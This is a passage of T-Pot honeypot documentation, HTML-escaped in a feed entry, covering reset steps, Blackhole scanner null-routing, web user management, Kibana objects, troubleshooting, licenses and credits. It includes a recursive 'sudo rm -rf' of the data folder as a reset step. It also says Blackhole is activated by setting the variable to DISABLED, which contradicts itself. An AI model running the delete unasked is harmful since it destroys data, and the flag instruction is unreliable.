&lt;p&gt;All log data stored in the &lt;a href=&quot;#t-pot-data-folder&quot;&gt;T-Pot Data Folder&lt;/a&gt; (except for Elasticsearch indices, of course) can be erased by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clean.sh&lt;/code&gt;.
Sometimes things might break beyond repair and it has never been easier to reset a T-Pot to factory defaults (make sure to enter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd ~/tpotce&lt;/code&gt;).&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Stop T-Pot using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl stop tpot&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Move / Backup the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/data&lt;/code&gt; folder to a safe place (this is optional, just in case).&lt;/li&gt;
  &lt;li&gt;Delete the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/data&lt;/code&gt; folder using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo rm -rf ~/tpotce/data&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Reset T-Pot to the last fetched commit:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd ~/tpotce/
git reset --hard
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Now you can run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/install.sh&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;show-containers&quot;&gt;Show Containers&lt;/h2&gt;
&lt;p&gt;You can show all T-Pot relevant containers by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dps&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dpsw [interval]&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;interval (s)&lt;/code&gt; will re-run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dps.sh&lt;/code&gt; periodically.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;blackhole&quot;&gt;Blackhole&lt;/h2&gt;
&lt;p&gt;Blackhole will run T-Pot in kind of a stealth mode manner without permanent visits of publicly known scanners and thus reducing the possibility of being exposed. While this is of course always a cat and mouse game the blackhole feature is null routing all requests from &lt;a href=&quot;https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/mass_scanner.txt&quot;&gt;known mass scanners&lt;/a&gt; while still catching the events through Suricata.
&lt;br /&gt;
The feature is activated by setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TPOT_BLACKHOLE=DISABLED&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/.env&lt;/code&gt;, then run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl stop tpot&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl start tpot&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo reboot&lt;/code&gt;.
&lt;br /&gt;
Enabling this feature will drastically reduce attackers visibility and consequently result in less activity. However as already mentioned it is neither a guarantee for being completely stealth nor will it prevent fingerprinting of some honeypot services.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;add-users-to-nginx-t-pot-webui&quot;&gt;Add Users to Nginx (T-Pot WebUI)&lt;/h2&gt;
&lt;p&gt;Nginx (T-Pot WebUI) allows you to add as many &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt; accounts as you want (according to the &lt;a href=&quot;#user-types&quot;&gt;User Types&lt;/a&gt;).&lt;br /&gt;
To &lt;strong&gt;add&lt;/strong&gt; a new user run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/genuser.sh&lt;/code&gt; which will also update the accounts without the need to restart T-Pot.&lt;br /&gt;
To &lt;strong&gt;remove&lt;/strong&gt; users open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/.env&lt;/code&gt;, locate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WEB_USER&lt;/code&gt; and remove the corresponding base64 string (to decode: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo &amp;lt;base64_string&amp;gt; | base64 -d&lt;/code&gt;, or open CyberChef and load “From Base64” recipe). For the changes to take effect you need to restart T-Pot using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl stop tpot&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemctl start tpot&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo reboot&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;import-and-export-kibana-objects&quot;&gt;Import and Export Kibana Objects&lt;/h2&gt;
&lt;p&gt;Some T-Pot updates will require you to update the Kibana objects. Either to support new honeypots or to improve existing dashboards or visualizations. Make sure to &lt;strong&gt;&lt;em&gt;export&lt;/em&gt;&lt;/strong&gt; first so you do not loose any of your adjustments.&lt;/p&gt;

&lt;h3 id=&quot;export&quot;&gt;&lt;strong&gt;Export&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
  &lt;li&gt;Go to Kibana&lt;/li&gt;
  &lt;li&gt;Click on “Stack Management”&lt;/li&gt;
  &lt;li&gt;Click on “Saved Objects”&lt;/li&gt;
  &lt;li&gt;Click on “Export &lt;no.&gt; objects&quot;&lt;/no.&gt;&lt;/li&gt;
  &lt;li&gt;Click on “Export all”
This will export a NDJSON file with all your objects. Always run a full export to make sure all references are included.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;import&quot;&gt;&lt;strong&gt;Import&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/dtag-dev-sec/tpotce/blob/master/docker/tpotinit/dist/etc/objects/kibana_export.ndjson.zip&quot;&gt;Download the NDJSON file&lt;/a&gt; and unzip it.&lt;/li&gt;
  &lt;li&gt;Go to Kibana&lt;/li&gt;
  &lt;li&gt;Click on “Stack Management”&lt;/li&gt;
  &lt;li&gt;Click on “Saved Objects”&lt;/li&gt;
  &lt;li&gt;Click on “Import” and leave the defaults (check for existing objects and automatically overwrite conflicts) if you did not make personal changes to the Kibana objects.&lt;/li&gt;
  &lt;li&gt;Browse for NDJSON file
When asked: “If any of the objects already exist, do you want to automatically overwrite them?” you answer with “Yes, overwrite all”.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;troubleshooting&quot;&gt;Troubleshooting&lt;/h1&gt;
&lt;p&gt;Generally T-Pot is offered &lt;strong&gt;&lt;em&gt;as is&lt;/em&gt;&lt;/strong&gt; without any commitment regarding support. Issues and discussions can be opened, but be prepared to include basic necessary info, so the community is able to help.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;logs&quot;&gt;Logs&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Check if your containers are running correctly: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dps&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Check if your system resources are not exhausted: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;htop&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker stats&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Check if there is a port conflict:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;systemctl stop tpot
grc netstat -tulpen
mi ~/tpotce/docker-compose.yml
docker-compose -f ~/tpotce/docker-compose.yml up
CTRL+C
docker-compose -f ~/tpotce/docker-compose.yml down -v
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Check individual container logs: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker logs -f &amp;lt;container_name&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpotinit&lt;/code&gt; log: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat ~/tpotce/data/tpotinit.log&lt;/code&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;ram-and-storage&quot;&gt;RAM and Storage&lt;/h2&gt;
&lt;p&gt;The Elastic Stack is hungry for RAM, specifically &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elasticsearch&lt;/code&gt;. If the Elastic Stack is unavailable, does not receive any logs or simply keeps crashing it is most likely a RAM or storage issue.&lt;br /&gt;
While T-Pot keeps trying to restart the services / containers run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker logs -f &amp;lt;container_name&amp;gt;&lt;/code&gt; (either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elasticsearch&lt;/code&gt;) and check if there are any warnings or failures involving RAM.&lt;/p&gt;

&lt;p&gt;Storage failures can be identified easier via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;htop&lt;/code&gt;. 
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;contact&quot;&gt;Contact&lt;/h1&gt;
&lt;p&gt;T-Pot is provided &lt;strong&gt;&lt;em&gt;as is&lt;/em&gt;&lt;/strong&gt; open source &lt;strong&gt;&lt;em&gt;without&lt;/em&gt;&lt;/strong&gt; any commitment regarding support (&lt;a href=&quot;#disclaimer&quot;&gt;see the disclaimer&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;If you are a security researcher and want to responsibly report an issue please get in touch with our &lt;a href=&quot;https://www.telekom.com/en/corporate-responsibility/data-protection-data-security/security/details/introducing-deutsche-telekom-cert-358316&quot;&gt;CERT&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;issues&quot;&gt;Issues&lt;/h2&gt;
&lt;p&gt;Please report issues (errors) on our &lt;a href=&quot;https://github.com/telekom-security/tpotce/issues&quot;&gt;GitHub Issues&lt;/a&gt;, but &lt;a href=&quot;#troubleshooting&quot;&gt;troubleshoot&lt;/a&gt; first. Issues not providing information to address the error will be closed or converted into &lt;a href=&quot;#discussions&quot;&gt;discussions&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Use the search function first, it is possible a similar issue has been addressed or discussed already, with the solution just a search away.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;discussions&quot;&gt;Discussions&lt;/h2&gt;
&lt;p&gt;General questions, ideas, show &amp;amp; tell, etc. can be addressed on our &lt;a href=&quot;https://github.com/telekom-security/tpotce/discussions&quot;&gt;GitHub Discussions&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Use the search function, it is possible a similar discussion has been opened already, with an answer just a search away.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;licenses&quot;&gt;Licenses&lt;/h1&gt;
&lt;p&gt;The software that T-Pot is built on uses the following licenses.
&lt;br /&gt;GPLv2: &lt;a href=&quot;https://github.com/mushorg/conpot/blob/master/LICENSE.txt&quot;&gt;conpot&lt;/a&gt;, &lt;a href=&quot;https://github.com/DinoTools/dionaea/blob/master/LICENSE&quot;&gt;dionaea&lt;/a&gt;, &lt;a href=&quot;https://github.com/armedpot/honeytrap/blob/master/LICENSE&quot;&gt;honeytrap&lt;/a&gt;, &lt;a href=&quot;http://suricata-ids.org/about/open-source/&quot;&gt;suricata&lt;/a&gt;
&lt;br /&gt;GPLv3: &lt;a href=&quot;https://github.com/huuck/ADBHoney&quot;&gt;adbhoney&lt;/a&gt;, &lt;a href=&quot;https://gitlab.com/bontchev/elasticpot/-/blob/master/LICENSE&quot;&gt;elasticpot&lt;/a&gt;, &lt;a href=&quot;https://github.com/telekom-security/ews/&quot;&gt;ewsposter&lt;/a&gt;, &lt;a href=&quot;https://github.com/thomaspatzke/Log4Pot/blob/master/LICENSE&quot;&gt;log4pot&lt;/a&gt;, &lt;a href=&quot;https://github.com/0x4D31/fatt/blob/master/LICENSE&quot;&gt;fatt&lt;/a&gt;, &lt;a href=&quot;https://github.com/johnnykv/heralding/blob/master/LICENSE.txt&quot;&gt;heralding&lt;/a&gt;, &lt;a href=&quot;https://gitlab.com/bontchev/ipphoney/-/blob/master/LICENSE&quot;&gt;ipphoney&lt;/a&gt;, &lt;a href=&quot;https://github.com/cypwnpwnsocute/RedisHoneyPot/blob/main/LICENSE&quot;&gt;redishoneypot&lt;/a&gt;, &lt;a href=&quot;https://github.com/SentryPeer/SentryPeer/blob/main/LICENSE.GPL-3.0-only&quot;&gt;sentrypeer&lt;/a&gt;, &lt;a href=&quot;https://github.com/mushorg/snare/blob/master/LICENSE&quot;&gt;snare&lt;/a&gt;, &lt;a href=&quot;https://github.com/mushorg/snare/blob/master/LICENSE&quot;&gt;tanner&lt;/a&gt;
&lt;br /&gt;Apache 2 License: &lt;a href=&quot;https://github.com/gchq/CyberChef/blob/master/LICENSE&quot;&gt;cyberchef&lt;/a&gt;, &lt;a href=&quot;https://github.com/nsmfoo/dicompot/blob/master/LICENSE&quot;&gt;dicompot&lt;/a&gt;, &lt;a href=&quot;https://github.com/elasticsearch/elasticsearch/blob/master/LICENSE.txt&quot;&gt;elasticsearch&lt;/a&gt;, &lt;a href=&quot;https://github.com/elasticsearch/logstash/blob/master/LICENSE&quot;&gt;logstash&lt;/a&gt;, &lt;a href=&quot;https://github.com/elasticsearch/kibana/blob/master/LICENSE.md&quot;&gt;kibana&lt;/a&gt;, &lt;a href=&quot;https://github.com/docker/docker/blob/master/LICENSE&quot;&gt;docker&lt;/a&gt;
&lt;br /&gt;MIT license: &lt;a href=&quot;https://github.com/willfarrell/docker-autoheal?tab=MIT-1-ov-file#readme&quot;&gt;autoheal&lt;/a&gt;, &lt;a href=&quot;https://github.com/Cymmetria/ciscoasa_honeypot/blob/master/LICENSE&quot;&gt;ciscoasa&lt;/a&gt;, &lt;a href=&quot;https://github.com/aelth/ddospot/blob/master/LICENSE&quot;&gt;ddospot&lt;/a&gt;, &lt;a href=&quot;https://github.com/cars10/elasticvue/blob/master/LICENSE&quot;&gt;elasticvue&lt;/a&gt;, &lt;a href=&quot;https://github.com/mushorg/glutton/blob/master/LICENSE&quot;&gt;glutton&lt;/a&gt;, &lt;a href=&quot;https://github.com/yunginnanet/HellPot/blob/master/LICENSE&quot;&gt;hellpot&lt;/a&gt;, &lt;a href=&quot;https://github.com/stamparm/maltrail/blob/master/LICENSE&quot;&gt;maltrail&lt;/a&gt;
&lt;br /&gt; Unlicense: &lt;a href=&quot;https://github.com/skeeto/endlessh/blob/master/UNLICENSE&quot;&gt;endlessh&lt;/a&gt;
&lt;br /&gt; Other: &lt;a href=&quot;https://github.com/MalwareTech/CitrixHoneypot#licencing-agreement-malwaretech-public-licence&quot;&gt;citrixhoneypot&lt;/a&gt;, &lt;a href=&quot;https://github.com/cowrie/cowrie/blob/master/LICENSE.rst&quot;&gt;cowrie&lt;/a&gt;, &lt;a href=&quot;https://github.com/awhitehatter/mailoney&quot;&gt;mailoney&lt;/a&gt;, &lt;a href=&quot;https://www.elastic.co/licensing/elastic-license&quot;&gt;Elastic License&lt;/a&gt;, &lt;a href=&quot;https://github.com/gbrindisi/wordpot&quot;&gt;Wordpot&lt;/a&gt;
&lt;br /&gt; AGPL-3.0: &lt;a href=&quot;https://github.com/qeeqbox/honeypots/blob/main/LICENSE&quot;&gt;honeypots&lt;/a&gt;
&lt;br /&gt; &lt;a href=&quot;https://creativecommons.org/publicdomain/zero/1.0/&quot;&gt;Public Domain (CC)&lt;/a&gt;: &lt;a href=&quot;https://dataverse.harvard.edu/dataverse/harvard/?q=dicom&quot;&gt;Harvard Dataverse&lt;/a&gt; 
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;credits&quot;&gt;Credits&lt;/h1&gt;
&lt;p&gt;Without open source and the development community we are proud to be a part of, T-Pot would not have been possible! Our thanks are extended but not limited to the following people and organizations:&lt;/p&gt;

&lt;h3 id=&quot;the-developers-and-development-communities-of&quot;&gt;The developers and development communities of&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huuck/ADBHoney/graphs/contributors&quot;&gt;adbhoney&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Cymmetria/ciscoasa_honeypot/graphs/contributors&quot;&gt;ciscoasa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/MalwareTech/CitrixHoneypot/graphs/contributors&quot;&gt;citrixhoneypot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mushorg/conpot/graphs/contributors&quot;&gt;conpot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cowrie/cowrie/graphs/contributors&quot;&gt;cowrie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/aelth/ddospot/graphs/contributors&quot;&gt;ddospot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/nsmfoo/dicompot/graphs/contributors&quot;&gt;dicompot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/DinoTools/dionaea/graphs/contributors&quot;&gt;dionaea&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/docker/docker/graphs/contributors&quot;&gt;docker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/bontchev/elasticpot/-/project_members&quot;&gt;elasticpot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/elastic/elasticsearch/graphs/contributors&quot;&gt;elasticsearch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cars10/elasticvue/graphs/contributors&quot;&gt;elasticvue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/skeeto/endlessh/graphs/contributors&quot;&gt;endlessh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/armedpot/ewsposter/graphs/contributors&quot;&gt;ewsposter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/0x4D31/fatt/graphs/contributors&quot;&gt;fatt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mushorg/glutton/graphs/contributors&quot;&gt;glutton&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/yunginnanet/HellPot/graphs/contributors&quot;&gt;hellpot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/johnnykv/heralding/graphs/contributors&quot;&gt;heralding&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/qeeqbox/honeypots/graphs/contributors&quot;&gt;honeypots&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/armedpot/honeytrap/graphs/contributors&quot;&gt;honeytrap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/bontchev/ipphoney/-/project_members&quot;&gt;ipphoney&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/elastic/kibana/graphs/contributors&quot;&gt;kibana&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/elastic/logstash/graphs/contributors&quot;&gt;logstash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/thomaspatzke/Log4Pot/graphs/contributors&quot;&gt;log4pot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/awhitehatter/mailoney&quot;&gt;mailoney&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/stamparm/maltrail/graphs/contributors&quot;&gt;maltrail&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/schmalle/medpot/graphs/contributors&quot;&gt;medpot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://lcamtuf.coredump.cx/p0f3/&quot;&gt;p0f&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cypwnpwnsocute/RedisHoneyPot/graphs/contributors&quot;&gt;redishoneypot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/SentryPeer/SentryPeer/graphs/contributors&quot;&gt;sentrypeer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/smicallef/spiderfoot&quot;&gt;spiderfoot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mushorg/snare/graphs/contributors&quot;&gt;snare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mushorg/tanner/graphs/contributors&quot;&gt;tanner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/inliniac/suricata/graphs/contributors&quot;&gt;suricata&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/gbrindisi/wordpot&quot;&gt;wordpot&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The following companies and organizations&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.docker.com/&quot;&gt;docker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.elastic.co/&quot;&gt;elastic.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.honeynet.org/&quot;&gt;honeynet project&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;… and of course **&lt;em&gt;you&lt;/em&gt;&lt;/strong&gt; for joining the community!**
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Thank you for playing 💖&lt;/p&gt;

&lt;h1 id=&quot;testimonials&quot;&gt;Testimonials&lt;/h1&gt;
&lt;p&gt;One of the greatest feedback we have gotten so far is by one of the Conpot developers:&lt;br /&gt;
&lt;strong&gt;&lt;em&gt;“[…] I highly recommend T-Pot which is … it’s not exactly a swiss army knife .. it’s more like a swiss army soldier, equipped with a swiss army knife. Inside a tank. A swiss tank. […]”&lt;/em&gt;&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;
And from @robcowart (creator of &lt;a href=&quot;https://github.com/robcowart/elastiflow&quot;&gt;ElastiFlow&lt;/a&gt;):&lt;br /&gt;
&lt;strong&gt;&lt;em&gt;“#TPot is one of the most well put together turnkey honeypot solutions. It is a must-have for anyone wanting to analyze and understand the behavior of malicious actors and the threat they pose to your organization.”&lt;/em&gt;&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;strong&gt;Thank you!&lt;/strong&gt;&lt;/p&gt;
</content>
  </entry>
  
</feed>
